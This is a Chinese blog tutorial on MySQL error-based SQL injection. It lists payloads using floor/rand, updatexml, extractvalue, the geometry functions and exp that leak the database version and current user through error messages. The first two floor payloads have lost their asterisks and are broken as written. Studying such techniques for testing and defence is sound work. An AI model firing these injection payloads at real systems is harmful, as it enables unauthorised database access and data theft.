报错注入

1.floor报错

可以通过如下利用代码

  1. and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
  2. and (select count() from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)2)));

实例

  • 进行正常查询


  • 该实例id输入存在注入,可以通过以下语句进行报错
select * from users where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

报错内容

ERROR 1062 (23000): Duplicate entry 'mysql版本号(如5.4.331)' for key 'group_key'

floor报错原理解释
https://www.cnblogs.com/litlife/p/8472323.html

2.updatexml报错

  • updataxml()函数

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

实例

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

updatexml报错原理解释
https://www.cnblogs.com/xishaonian/p/6243497.html
xpath语法:https://www.bbsmax.com/A/gVdnw4DzWl/

3.extractvalue报错

  • extractvalue()函数

extractvalue():从目标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。

实例

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

报错原理和updataxml相同

注: 以下报错方式暂时没遇见过,只是知道有这么个报错注入

4.geometrycollection报错

select * from xxx where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint报错

select * from xxx where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon报错

select * from xxx where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon报错

select * from xxx where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring报错

select * from xxx where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring报错

select * from xxx where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp报错

select * from xxx where id=1 and exp(~(select * from(select user())a));

报错注入
https://blog.csdn.net/liangdongjuan/article/details/78406395
报错注入原理分析
http://blog.51cto.com/wt7315/1891458

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容